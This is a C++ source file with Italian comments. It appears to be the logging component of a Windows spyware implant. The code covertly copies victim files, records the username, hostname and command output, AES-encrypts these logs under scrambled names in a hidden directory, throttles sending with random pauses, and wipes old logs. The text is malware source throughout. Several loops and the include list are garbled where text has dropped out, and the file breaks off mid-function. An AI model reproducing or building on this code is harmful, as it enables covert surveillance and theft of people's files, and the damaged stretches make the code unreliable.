#include #include #include #include "common.h" #include "ASP.h" #include "LOG.h" #include "H4-DLL.h" #include "aes_alg.h" #include "sha1.h" #include "md5.h" #include "explore_directory.h" #include "x64.h" #include "JSON\JSON.h" #include "UnHookClass.h" #include "DeepFreeze.h" #include "format_resistant.h" extern BOOL IsDriverRunning(WCHAR *driver_name); extern char SHARE_MEMORY_READ_NAME[MAX_RAND_NAME]; typedef struct { DWORD agent_tag; HANDLE h_file; } log_entry_struct; typedef struct log_list { nanosec_time ftime; char *file_name; DWORD size; struct log_list* next; } log_list_struct; log_list_struct *log_list_head = NULL; // // Struttura dei log file // // C'e' una dword in chiaro che indica: sizeof(LogStruct) + uDeviceIdLen + uUserIdLen + uSourceIdLen + uAdditionalData typedef struct _LogStruct{ UINT uVersion; // Versione della struttura #define LOG_VERSION 2008121901 UINT uLogType; // Tipo di log UINT uHTimestamp; // Parte alta del timestamp UINT uLTimestamp; // Parte bassa del timestamp UINT uDeviceIdLen; // IMEI/Hostname len UINT uUserIdLen; // IMSI/Username len UINT uSourceIdLen; // Numero del caller/IP len UINT uAdditionalData; // Lunghezza della struttura addizionale, se presente }LogStruct, *pLogStruct; #define NO_TAG_ENTRY 0xFFFFFFFF #define MAX_LOG_ENTRIES 70 #define MIN_CREATION_SPACE 307200 // Numero di byte che devono essere rimasti per creare ancora nuovi file di log log_entry_struct log_table[MAX_LOG_ENTRIES]; // Dichiarato in SM_EventHandlers.h extern BOOL IsGreaterDate(nanosec_time *, nanosec_time *); extern BOOL IsNewerDate(FILETIME *date, FILETIME *dead_line); // Dichiarato in SM_ActionFunctions.h extern BOOL WINAPI DA_Execute(BYTE *command); // In BitmapCommon extern void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality); typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter); extern BOOL HM_ParseConfGlobals(char *conf, conf_callback_t call_back); extern aes_context crypt_ctx; // Dichiarata in shared extern aes_context crypt_ctx_conf; // Dichiarata in shared extern BYTE crypt_key[KEY_LEN]; // Dichiarata in shared extern BYTE crypt_key_conf[KEY_LEN]; // Dichiarata in shared BOOL log_wipe_file = FALSE; // Indica se sovrascrive un file prima di cancellarlo DWORD min_disk_free = 0; // Spazio minimo che deve rimanere su disco (configurabile) DWORD max_disk_full = 0; // Spazio massimo occupabile dai log extern DWORD log_free_space; // Dichiarata nel segmento shared extern DWORD log_active_queue; extern BOOL IsDeepFreeze(); #define LOG_SIZE_MAX ((DWORD)1024*1024*100) //100MB DWORD GetLogSize(char *path) { DWORD hi_dim=0, lo_dim=0; HANDLE hfile; hfile = FNC(CreateFileA)(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hfile == INVALID_HANDLE_VALUE) return 0xFFFFFFFF; lo_dim = FNC(GetFileSize)(hfile, &hi_dim); CloseHandle(hfile); if (lo_dim == INVALID_FILE_SIZE || hi_dim>0) return 0xFFFFFFFF; return lo_dim; } // Inserisce un elemento nella lista dei log da spedire in ordine di tempo BOOL InsertLogList(log_list_struct **log_list, WIN32_FIND_DATA *log_elem) { log_list_struct *new_elem; // Alloca e inizializza il nuovo elemento if ( !(new_elem = (log_list_struct *)malloc(sizeof(log_list_struct))) ) return FALSE; if ( !(new_elem->file_name = (char *)strdup(log_elem->cFileName)) ) { SAFE_FREE(new_elem); return FALSE; } new_elem->ftime.hi_delay = log_elem->ftCreationTime.dwHighDateTime; new_elem->ftime.lo_delay = log_elem->ftCreationTime.dwLowDateTime; new_elem->size = log_elem->nFileSizeLow; // Cerca l'elemento dove va inserito while (*log_list) { // Se abbiamo trovato il posto giusto si ferma if (!IsGreaterDate(&(new_elem->ftime), &((*log_list)->ftime))) break; // Continua a scorrere la lista log_list = &( (*log_list)->next ); } new_elem->next = *log_list; *log_list = new_elem; return TRUE; } // Libera la lista dei log void FreeLogList(log_list_struct **log_list) { log_list_struct *list_ptr, *tmp_ptr; list_ptr = *log_list; while(list_ptr) { SAFE_FREE(list_ptr->file_name); tmp_ptr = list_ptr->next; SAFE_FREE(list_ptr); list_ptr = tmp_ptr; } *log_list = NULL; } // Fa una pausa random in un intervallo (in secondi) #define MAX_SLEEP_PAUSE 10 void LOG_SendPause(DWORD min_sleep, DWORD max_sleep) { DWORD sleep_time; if (min_sleep > MAX_SLEEP_PAUSE) min_sleep = MAX_SLEEP_PAUSE; if (max_sleep > MAX_SLEEP_PAUSE) max_sleep = MAX_SLEEP_PAUSE; if (min_sleep > max_sleep || max_sleep == 0) return; srand((DWORD)time(NULL)); rand(); sleep_time = (((double)rand()/(double)RAND_MAX) * (max_sleep-min_sleep) + min_sleep); sleep_time*=1000; Sleep(sleep_time); } // Inizializza la chiave di cifratura. void LOG_InitCryptKey(BYTE *crypt_material, BYTE *crypt_material_conf) { // Chiave per i log memcpy(crypt_key, crypt_material, KEY_LEN); aes_set_key( &crypt_ctx, crypt_material, KEY_LEN*8 ); // Chiave per la conf memcpy(crypt_key_conf, crypt_material_conf, KEY_LEN); aes_set_key( &crypt_ctx_conf, crypt_material_conf, KEY_LEN*8 ); } void WINAPI ParseGlobalsQuota(JSONObject conf_json, DWORD dummy) { JSONObject quota; if (!conf_json[L"quota"]->IsObject()) return; quota = conf_json[L"quota"]->AsObject(); min_disk_free = (DWORD) quota[L"min"]->AsNumber(); max_disk_full = (DWORD) quota[L"max"]->AsNumber(); log_wipe_file = (BOOL) conf_json[L"wipe"]->AsBool(); SetFormatResistant(conf_json[L"format"]->AsBool()); } // Legge la configuazione per i log // (viene letto solo quando inizializza i log e // non sulla ricezione di un nuovo file) void UpdateLogConf() { char *conf_memory; conf_memory = HM_ReadClearConf(H4_CONF_FILE); if (conf_memory) HM_ParseConfGlobals(conf_memory, &ParseGlobalsQuota); SAFE_FREE(conf_memory); } // Sottrae due large integer (con a>b) void LargeSubtract(const ULARGE_INTEGER *a, const ULARGE_INTEGER *b, ULARGE_INTEGER *result) { if (a->LowPart >= b->LowPart) { result->LowPart = a->LowPart - b->LowPart; result->HighPart = a->HighPart - b->HighPart; } else { result->LowPart = (0xffffffff - b->LowPart); result->LowPart += 1 + a->LowPart; result->HighPart = a->HighPart - b->HighPart - 1; } } // Torna lo spazio destinato ai log. // Il minimo spazio libero richiedibile e' massimo 4GB. // Lo spazio occupabile dai log e' massimo 4GB. DWORD LOG_CalcSpace(ULARGE_INTEGER *large_space, DWORD space_req) { ULARGE_INTEGER large_req; ULARGE_INTEGER result; // Se lo spazio richiesto e' maggiore, ritorna 0 if (large_space->HighPart == 0 && large_space->LowPart <= space_req) return 0; // Se lo spazio richiesto e' minore, sottrae large_req.HighPart = 0; large_req.LowPart = space_req; LargeSubtract(large_space, &large_req, &result); // Se il risultato e' > di 4GB, ritorna 4GB if (result.HighPart>0) return 0xFFFFFFFF; // Altrimenti torna la parte bassa return result.LowPart; } // Calcola la dimensione della directory di lavoro // Se fallisce torna che la directory occupa 4GB DWORD LOG_GetActualLogSize() { DWORD log_total_size = 0xFFFFFFFF; char DirSpec[MAX_PATH]; WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; HM_CompletePath("*", DirSpec); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { log_total_size = 0; do { // Salta le directory (es: ".", ".." etc...) if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; if (FindFileData.nFileSizeLow != INVALID_FILE_SIZE) log_total_size += FindFileData.nFileSizeLow; } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } return log_total_size; } void LOG_InitSequentialLogs() { DWORD i; // Inizializza la tabella dei log for (i=0; i= temp_log_space) allowed_size2 = max_disk_full - temp_log_space; // Lo spazio libero e' la condizione piu' stringente // fra le due sopra // (se qualcosa va storto log_free_space = 0) if (allowed_size1 < allowed_size2) log_free_space = allowed_size1; else log_free_space = allowed_size2; } // Crea l'header per il nuovo formato di log // l'header poi va LIBERATO! BYTE *Log_CreateHeader(DWORD agent_tag, BYTE *additional_data, DWORD additional_len, DWORD *out_len) { FILETIME tstamp; WCHAR user_name[256]; WCHAR host_name[256]; DWORD header_len; DWORD padded_len; BYTE iv[BLOCK_LEN]; BYTE *final_header, *ptr; LogStruct log_header; if (out_len) *out_len = 0; // Calcola i campi da mettere nell'header memset(user_name, 0, sizeof(user_name)); memset(host_name, 0, sizeof(host_name)); user_name[0]=L'-'; host_name[0]=L'-'; FNC(GetEnvironmentVariableW)(L"USERNAME", (WCHAR *)user_name, sizeof(user_name)/2-2); FNC(GetEnvironmentVariableW)(L"COMPUTERNAME", (WCHAR *)host_name, sizeof(host_name)/2-2); FNC(GetSystemTimeAsFileTime)(&tstamp); // Riempie l'header log_header.uDeviceIdLen = wcslen(host_name)*sizeof(WCHAR); log_header.uUserIdLen = wcslen(user_name)*sizeof(WCHAR); log_header.uSourceIdLen = 0; if (additional_data) log_header.uAdditionalData = additional_len; else log_header.uAdditionalData = 0; log_header.uVersion = LOG_VERSION; log_header.uHTimestamp = tstamp.dwHighDateTime; log_header.uLTimestamp = tstamp.dwLowDateTime; log_header.uLogType = agent_tag; // Calcola la lunghezza totale dell'header e il padding header_len = sizeof(LogStruct) + log_header.uDeviceIdLen + log_header.uUserIdLen + log_header.uSourceIdLen + log_header.uAdditionalData; padded_len = header_len; if (padded_len % BLOCK_LEN) { padded_len /= BLOCK_LEN; padded_len++; padded_len *= BLOCK_LEN; } padded_len += sizeof(DWORD); if (padded_len < header_len) return NULL; final_header = (BYTE *)malloc(padded_len); if (!final_header) return NULL; ptr = final_header; // Scrive l'header header_len = padded_len - sizeof(DWORD); memcpy(ptr, &header_len, sizeof(DWORD)); ptr += sizeof(DWORD); memcpy(ptr, &log_header, sizeof(log_header)); ptr += sizeof(log_header); memcpy(ptr, host_name, log_header.uDeviceIdLen); ptr += log_header.uDeviceIdLen; memcpy(ptr, user_name, log_header.uUserIdLen); ptr += log_header.uUserIdLen; if (additional_data) memcpy(ptr, additional_data, additional_len); // Cifra l'header (la prima DWORD e' in chiaro) memset(iv, 0, sizeof(iv)); aes_cbc_encrypt(&crypt_ctx, iv, final_header+sizeof(DWORD), final_header+sizeof(DWORD), padded_len-sizeof(DWORD)); if (out_len) *out_len = padded_len; return final_header; } void PrintBinary(WORD number, char *output) { DWORD i = 0; sprintf(output, "0000000000000000"); while (number) { if (number & 1) output[i] = '1'; i++; number >>= 1; } } // Inizializza l'uso dei log per un agente // (non e' thread safe) // Torna TRUE se ha successo BOOL LOG_InitAgentLog(DWORD agent_tag) { DWORD i; HANDLE h_file; char log_wout_path[128]; char file_name[DLLNAMELEN]; char binary_tag[64]; char *scrambled_name; BOOL newly_created; // Controlla che il TAG non sia gia' presente for (i=0; i= out_len) log_free_space -= out_len; FNC(FlushFileBuffers)(h_file); } log_table[i].h_file = h_file; log_table[i].agent_tag = agent_tag; return TRUE; } return FALSE; } // Stoppa l'uso dei log per un agente void LOG_StopAgentLog(DWORD agent_tag) { DWORD i; // Cerca il TAG giusto for (i=0; i MAX_FILE_RETRY_COUNT) return INVALID_HANDLE_VALUE; _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%.8X%.8X.log", log_active_queue, agent_tag, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return INVALID_HANDLE_VALUE; HM_CompletePath(scrambled_name, file_name); SAFE_FREE(scrambled_name); hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); // Incrementa di 1 il timestamp se deve riprovare time_nanosec.dwLowDateTime++; if (time_nanosec.dwLowDateTime == 0) // il riporto time_nanosec.dwHighDateTime++; } while (hfile == INVALID_HANDLE_VALUE); // Scrive l'header nel file log_header = Log_CreateHeader(agent_tag, additional_header, additional_len, &out_len); if (!log_header || log_free_space= out_len) log_free_space -= out_len; FNC(FlushFileBuffers)(hfile); return hfile; } // Usato per l'output dei comandi // N.B. Non sottrae quota disco! HANDLE Log_CreateOutputFile(char *command_name) { char log_wout_path[128]; char file_name[DLLNAMELEN]; char *scrambled_name; FILETIME time_nanosec; DWORD out_len, dummy; BYTE *log_header; HANDLE hfile; SECURITY_ATTRIBUTES sa; // Controlla che ci sia ancora spazio per scrivere su disco if (log_free_space <= MIN_CREATION_SPACE) return INVALID_HANDLE_VALUE; // Usa l'epoch per dare un nome univoco al file FNC(GetSystemTimeAsFileTime)(&time_nanosec); _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "OUTF%.8X%.8X.log", time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return INVALID_HANDLE_VALUE; HM_CompletePath(scrambled_name, file_name); SAFE_FREE(scrambled_name); sa.bInheritHandle = TRUE; sa.nLength = 0; sa.lpSecurityDescriptor = NULL; hfile = FNC(CreateFileA)(file_name, GENERIC_WRITE, FILE_SHARE_READ, &sa, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hfile == INVALID_HANDLE_VALUE) return INVALID_HANDLE_VALUE; // Scrive l'header nel file log_header = Log_CreateHeader(PM_COMMANDEXEC, (BYTE *)command_name, strlen(command_name) + 1, &out_len); if (!log_header || log_free_space.bin _snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag); if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, conf_path); SAFE_FREE(scrambled_name); hf = FNC(CreateFileA)(conf_path, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hf == INVALID_HANDLE_VALUE) return FALSE; // Verifica che abbia scritto tutto if (!FNC(WriteFile)(hf, conf_buf, conf_len, &dwWrt, NULL) || dwWrt!=conf_len) { CloseHandle(hf); return FALSE; } CloseHandle(hf); return TRUE; } // Carica lo stato di un agente BOOL Log_RestoreAgentState(DWORD agent_tag, BYTE *conf_buf, DWORD conf_len) { char conf_name[128]; char conf_path[DLLNAMELEN]; char *scrambled_name; HANDLE hf; DWORD dwRd = 0; // Il formato del nome e' ACFG.bin _snprintf_s(conf_name, sizeof(conf_name), _TRUNCATE, "ACFG%.4X.bin", agent_tag); if ( ! (scrambled_name = LOG_ScrambleName2(conf_name, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, conf_path); SAFE_FREE(scrambled_name); hf = FNC(CreateFileA)(conf_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf == INVALID_HANDLE_VALUE) return FALSE; // Verifica che abbia scritto tutto if (!FNC(ReadFile)(hf, conf_buf, conf_len, &dwRd, NULL) || dwRd!=conf_len) { CloseHandle(hf); return FALSE; } CloseHandle(hf); return TRUE; } // Copia il file in modo offuscato (aggiornando la quota // disco anche in caso di sovrascritture). #define CRYPT_COPY_BUF_LEN 102400 BOOL Log_CryptCopyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD agent_tag) { HANDLE hsrc, hdst; BY_HANDLE_FILE_INFORMATION dst_info; DWORD existent_file_size = 0; DWORD dwRead; BYTE *temp_buff; BYTE *file_additional_data; BYTE *log_file_header; FileAdditionalData *file_additiona_data_header; DWORD header_len; WCHAR *to_display; if (display_name) to_display = display_name; else to_display = src_path; // Crea l'header da scrivere nel file if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR)))) return FALSE; file_additiona_data_header = (FileAdditionalData *)file_additional_data; file_additiona_data_header->uVersion = LOG_FILE_VERSION; file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR); memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen); log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len); SAFE_FREE(file_additional_data); if (!log_file_header) return FALSE; // Prende le info del file destinazione (se esiste) hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hdst != INVALID_HANDLE_VALUE) { if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) { existent_file_size = dst_info.nFileSizeLow; } CloseHandle(hdst); } if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) { SAFE_FREE(log_file_header); return FALSE; } hsrc = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hsrc == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } // Controlla che ci sia ancora spazio per scrivere su disco if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) { SAFE_FREE(temp_buff); SAFE_FREE(log_file_header); CloseHandle(hsrc); return FALSE; } hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hdst == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); CloseHandle(hsrc); return FALSE; } // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco // recuperata. log_free_space += existent_file_size; // Scrive l'header nel file if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) { CloseHandle(hsrc); CloseHandle(hdst); SAFE_FREE(log_file_header); SAFE_FREE(temp_buff); return FALSE; } if (log_free_space >= header_len) log_free_space -= header_len; SAFE_FREE(log_file_header); FNC(FlushFileBuffers)(hdst); // Cicla finche riesce a leggere (e/o a scrivere) LOOP { dwRead = 0; if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) ) break; // La Log_WriteFile sottrae la quota disco di ogni scrittura // Esce perche' quando il file da leggere e' finito dwRead e' 0 // e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte if (!Log_WriteFile(hdst, temp_buff, dwRead)) break; } SAFE_FREE(temp_buff); CloseHandle(hsrc); CloseHandle(hdst); return TRUE; } // Crea un file di log di tipo "file capture" vuoto, nel caso non sia stato possibile catturarlo per size // Specifica la size nel nome del file stesso BOOL Log_CryptCopyEmptyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD existent_file_len, DWORD agent_tag) { HANDLE hdst; DWORD dwRead; BY_HANDLE_FILE_INFORMATION dst_info; DWORD existent_file_size = 0; BYTE *file_additional_data; BYTE *log_file_header; FileAdditionalData *file_additiona_data_header; DWORD header_len; WCHAR to_display[MAX_PATH]; if (display_name) _snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", display_name, existent_file_len); else _snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", src_path, existent_file_len); // Crea l'header da scrivere nel file if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR)))) return FALSE; file_additiona_data_header = (FileAdditionalData *)file_additional_data; file_additiona_data_header->uVersion = LOG_FILE_VERSION; file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR); memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen); log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len); SAFE_FREE(file_additional_data); if (!log_file_header) return FALSE; // Prende le info del file destinazione (se esiste) hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hdst != INVALID_HANDLE_VALUE) { if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) { existent_file_size = dst_info.nFileSizeLow; } CloseHandle(hdst); } // Controlla che ci sia ancora spazio per scrivere su disco if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) { SAFE_FREE(log_file_header); return FALSE; } hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if (hdst == INVALID_HANDLE_VALUE) { SAFE_FREE(log_file_header); return FALSE; } // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco // recuperata. log_free_space += existent_file_size; // Scrive l'header nel file if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) { CloseHandle(hdst); SAFE_FREE(log_file_header); return FALSE; } if (log_free_space >= header_len) log_free_space -= header_len; SAFE_FREE(log_file_header); FNC(FlushFileBuffers)(hdst); CloseHandle(hdst); return TRUE; } // Copia il file nella directory nascosta. Fa un hash del path. // File con path uguale vengono sovrascritti. Effettua la copia solo // se la destinazione non ha la stessa data della sorgente. BOOL Log_CopyFile(WCHAR *src_path, WCHAR *display_name, BOOL empty_copy, DWORD agent_tag) { HANDLE hfile; BY_HANDLE_FILE_INFORMATION src_info, dst_info; char red_fname[100]; char log_wout_path[_MAX_FNAME]; char dest_file_path[DLLNAMELEN]; char dest_file_mask[DLLNAMELEN]; char *scrambled_name; nanosec_time src_date, dst_date; FILETIME time_nanosec; //SYSTEMTIME system_time; WIN32_FIND_DATA ffdata; HANDLE hFind = INVALID_HANDLE_VALUE; // Prende le informazioni del file sorgente hfile = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hfile == INVALID_HANDLE_VALUE) return FALSE; if (!FNC(GetFileInformationByHandle)(hfile, &src_info)) { CloseHandle(hfile); return FALSE; } CloseHandle(hfile); // Check se e' una directory if (src_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) return FALSE; // Vede se la dimensione e' consistente if (src_info.nFileSizeHigh>0 || src_info.nFileSizeLow==0) return FALSE; // fa lo SHA1 del path in red_fname SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (const unsigned char *)src_path, (DWORD)(wcslen(src_path)*2)); if (!SHA1Result(&sha)) return FALSE; memset(red_fname, 0, sizeof(red_fname)); for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]); // Vede se ha gia' catturato questo file... _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_mask); SAFE_FREE(scrambled_name); hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata); if (hFind != INVALID_HANDLE_VALUE) { //...se l'ha gia' catturato usa il vecchio nome HM_CompletePath(ffdata.cFileName, dest_file_path); FNC(FindClose)(hFind); } else { // ...altrimenti gli crea un nome col timestamp attuale FNC(GetSystemTimeAsFileTime)(&time_nanosec); //FNC(SystemTimeToFileTime)(&system_time, &time_nanosec); _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime); if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) return FALSE; HM_CompletePath(scrambled_name, dest_file_path); SAFE_FREE(scrambled_name); } // Prende le info del file destinazione (se esiste) hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL); if (hfile != INVALID_HANDLE_VALUE) { if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) { CloseHandle(hfile); return FALSE; } CloseHandle(hfile); // Compara le date dei due file (evita riscritture dello stesso file) src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime; src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime; dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime; dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime; if (!IsGreaterDate(&src_date, &dst_date)) return FALSE; } // Se non doveva essere copiato tutto per via della size... if (empty_copy) { if (!Log_CryptCopyEmptyFile(src_path, dest_file_path, display_name, src_info.nFileSizeLow, agent_tag)) return FALSE; return TRUE; } // Effettua la vera copia. if (!Log_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) return FALSE; return TRUE; } // Scrive in un file di log. // Controlla la quota disco // Torna TRUE se ha successo // E' conforme al nuovo formato di log (lunghezza in cleartext + blocco cifrato) BOOL Log_WriteFile(HANDLE handle, BYTE *clear_buffer, DWORD clear_len) { DWORD dwTmp; BOOL ret_val; DWORD crypt_len = 0; BYTE *crypt_buffer = NULL; // Controlla che la richiesta sia valida if (handle == INVALID_HANDLE_VALUE || clear_len == 0 || clear_buffer == NULL) return FALSE; // Offusca il buffer. La funzione torna una copia del buffer // gia' offuscata, e la dimensione di essa. La copia va // liberata (se e' stata allocata). crypt_buffer = LOG_Obfuscate(clear_buffer, clear_len, &crypt_len); // Controlla lo spazio disco rimasto e che la cifratura // sia andata a buon fine if (!crypt_buffer || crypt_len > log_free_space) { SAFE_FREE(crypt_buffer); return FALSE; } ret_val = FNC(WriteFile)(handle, crypt_buffer, crypt_len, &dwTmp, NULL); SAFE_FREE(crypt_buffer); // Se ha scritto con successo, diminuisce lo spazio residuo // XXX Potrebbe esserci una race condition e log_free_space // diventerebbe enorme...(abbastanza remoto) // Col doppio check diminuisco le possiblita' di race // condition ulteriormente. if (ret_val && crypt_len<=log_free_space) log_free_space -= crypt_len; // Cancellata per questioni di performance di skype //FNC(FlushFileBuffers)(handle); return ret_val; } // Elimina da una stringa tutti i caratteri non // alfanumerici void Log_Sanitize(char *name) { unsigned char *ptr; for(ptr=(unsigned char *)name; *ptr!=0; ptr++) if (*ptr != ' ' && *ptr != '-' && *ptr != '.' && *ptr != '@' && *ptr != '+') if (*ptr<'0' || (*ptr>'9' && *ptr<'A') || (*ptr>'Z' && *ptr<'a') || *ptr>'z') *ptr = ' '; } // Cancella i log troppo vecchi o troppo "ciccioni" #define SECS_TO_FT_MULT 10000000 void LOG_Purge(long long f_time, DWORD size) { char log_file_path[DLLNAMELEN]; WIN32_FIND_DATA FindFileData; char DirSpec[DLLNAMELEN]; char *scrambled_search; HANDLE hFind = INVALID_HANDLE_VALUE; LARGE_INTEGER li; FILETIME ft; if (f_time==0 && size==0) return; li.QuadPart = (f_time + 0x00000002b6109100) * SECS_TO_FT_MULT; ft.dwLowDateTime = li.LowPart; ft.dwHighDateTime = li.HighPart; scrambled_search = LOG_ScrambleName2("*.log", crypt_key[0], TRUE); if (!scrambled_search) return; HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { if ( (size && (FindFileData.nFileSizeHigh>0 || FindFileData.nFileSizeLow>=size)) || (f_time && IsNewerDate(&ft, &FindFileData.ftCreationTime))) { HM_CompletePath(FindFileData.cFileName, log_file_path); HM_WipeFileA(log_file_path); } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } // XXX Cerca anche il purge per i log con il vecchio scrambling... scrambled_search = LOG_ScrambleName("*.log", crypt_key[0], TRUE); if (!scrambled_search) return; HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { if ( (size && (FindFileData.nFileSizeHigh>0 || FindFileData.nFileSizeLow>=size)) || (f_time && IsNewerDate(&ft, &FindFileData.ftCreationTime))) { HM_CompletePath(FindFileData.cFileName, log_file_path); HM_WipeFileA(log_file_path); } } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0); FNC(FindClose)(hFind); } } // Scambia la coda di log attiva con quella inattiva void Log_SwitchQueue() { char search_mask[64]; char *scrambled_search; char DirSpec[DLLNAMELEN]; char DestSpec[DLLNAMELEN]; WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; // La coda attiva e' sempre la 0! log_active_queue = 0; sprintf(search_mask, "%.1XLOG*.log", log_active_queue); scrambled_search = LOG_ScrambleName2(search_mask, crypt_key[0], TRUE); if (!scrambled_search) return; // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati // quindi posso usare le wildcard). HM_CompletePath(scrambled_search, DirSpec); SAFE_FREE(scrambled_search); hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) { do { HM_CompletePath(FindFileData.cFileName, DirSpec); // Nome File sorgente in DirSpec memcpy(DestSpec, DirSpec, sizeof(DestSpec)); scrambled_search = LOG_ScrambleName2("1", crypt_key[0], TRUE); if (!scrambled_search) break; char *q = strrchr(DestSpec, '\\'); if (q) { q++; *q = scrambled_search[0]; // Nome File destinazione in DestSpec SAFE_FREE(scrambled_search); } else { 